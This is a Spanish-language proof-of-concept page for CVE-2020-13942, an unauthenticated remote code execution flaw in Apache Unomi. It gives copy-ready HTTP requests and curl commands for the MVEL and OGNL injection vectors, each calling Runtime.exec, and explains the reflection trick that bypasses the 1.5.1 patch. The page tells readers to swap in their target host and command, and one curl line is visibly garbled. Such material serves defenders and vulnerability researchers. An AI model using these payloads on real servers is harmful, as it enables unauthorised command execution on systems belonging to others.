
CVE-2020-13942 POC de RCE sin autenticación mediante inyección MVEL y OGNL
Publicación original del blog sobre la vulnerabilidad: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Hay dos vectores RCE: mediante inyección MVEL y mediante inyección OGNL. Ambos vectores apuntan a código diferente, aunque los payloads se ven relativamente similares. El parche anterior para CVE-2020-11975 intentaba limitar la ejecución de expresiones OGNL, pero ignoró por completo MVEL. CVE-2020-13942 evita el parche realizado en la versión 1.5.1.
Envía las siguientes solicitudes HTTP usando BurpSuite o curl al endpoint context.js\json expuesto por el servidor Unomi y obtén RCE. Cambia Host y Content-length según tu URL de destino y el comando del sistema operativo.
Ambos POCs pueden recibir HTTP/1.1 400 Header Folding en la respuesta, lo que significa que \r\n están mal en el payload; intenta copiarlo y pegarlo una vez más.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
El POC de OGNL evadió la restricción de ClassLoader introducida en la versión 1.5.1. Usando la API de reflexión de Java es posible crear un objeto sin invocar el método ClassLoader.loadClass que restringe las expresiones OGNL evaluadas.
El desglose de la expresión OGNL del payload:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crea un objeto Class de java.lang.Runtime, donde #this es la referencia al objeto de contexto.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] obtiene la lista de métodos de la clase Runtime mediante reflexión y elige el método getRuntime de la lista. La parte {^ #this.name.equals(\"getRuntime\")} de la expresión busca un Method con el nombre getRuntime y devuelve una lista de los Methods que coinciden con la condición; el primer y único Method de esta lista es getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) llama al método getRuntime() y obtiene el objeto Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtiene los métodos de la clase Runtime y recupera Runtime.exec() con un único argumento String de la lista de métodos.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") llama a Runtime.exec() con el argumento especificado.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'
Toda la información proporcionada en esta página tiene únicamente fines educativos. La información de este sitio web solo debe utilizarse para mejorar la seguridad de tus sistemas informáticos y no para provocar ataques maliciosos o dañinos.
No debes hacer un mal uso de esta información para obtener acceso no autorizado a sistemas informáticos. Ten en cuenta también que realizar intentos de hackeo en computadoras que no te pertenecen, sin el permiso escrito de sus propietarios, es ilegal.
No seré responsable de ningún daño directo o indirecto causado por el uso de la información proporcionada en este sitio web.